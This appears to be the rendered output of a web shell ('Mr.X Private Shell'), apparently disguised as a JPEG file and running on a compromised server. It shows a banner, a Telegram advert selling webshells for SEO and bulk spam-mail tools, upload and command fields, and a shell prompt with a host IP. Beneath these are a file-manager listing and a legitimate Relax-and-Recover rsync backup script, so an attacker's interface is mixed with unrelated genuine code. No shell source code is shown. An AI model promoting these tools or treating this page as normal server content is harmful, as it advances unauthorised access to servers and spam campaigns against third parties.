����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# here we will calculate the space required to hold the backup archive on the remote rsync system
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.
local proto host path

proto="$(rsync_proto "$BACKUP_URL")"
host="$(rsync_host "$BACKUP_URL")"
path="$(rsync_path "$BACKUP_URL")"

_local_size=0
_remote_size=0
while read -r ; do
    LogPrint "Calculating size of $REPLY"
    # on Linux output is represented in 1024-blocks (or kB)
    df -Pl "$REPLY" >$TMP_DIR/fs_size
    StopIfError "Failed to determine size of $REPLY"
    fs_size=$( tail -n 1 $TMP_DIR/fs_size | awk '{print $3}' )
    _local_size=$(( _local_size + fs_size ))
done < $TMP_DIR/backup-include.txt
LogPrint "Estimated size of local file systems is $(( _local_size / 1024 )) MB"

# Commenting out next block according decision of issue #2760
#case $proto in
#    (ssh)
#        LogPrint "Calculating size of ${host}:${path}"
#        ssh $(rsync_remote_ssh "$BACKUP_URL") "df -P ${path}" >$TMP_DIR/rs_size
#        StopIfError "Failed to determine size of ${path}"
#        _div=1 # 1024-blocks
#        grep -q "512-blocks" $TMP_DIR/rs_size && _div=2 # HPUX: divide with 2 to get kB size
#        _remote_size=$( tail -n 1 $TMP_DIR/rs_size | awk '{print $2}' )
#        _remote_size=$(( _remote_size / _div ))
#        [[ $_remote_size -gt $_local_size ]]
#        StopIfError "Not enough disk space available on ${host}:${path} ($_remote_size < $_local_size)"
#        ;;
#    (rsync)
#        # TODO: how can we calculate the free size on remote system via rsync protocol??
#        :
#        ;;
#esac


Filemanager

Name Type Size Permission Actions
200_make_prefix_dir.sh File 1.08 KB 0644
210_check_rsync_relative_option.sh File 413 B 0644
400_create_include_exclude_files.sh File 6.16 KB 0644
450_calculate_req_space.sh File 1.63 KB 0644
500_make_rsync_backup.sh File 3.85 KB 0644
700_copy_backup_log.sh File 1.11 KB 0644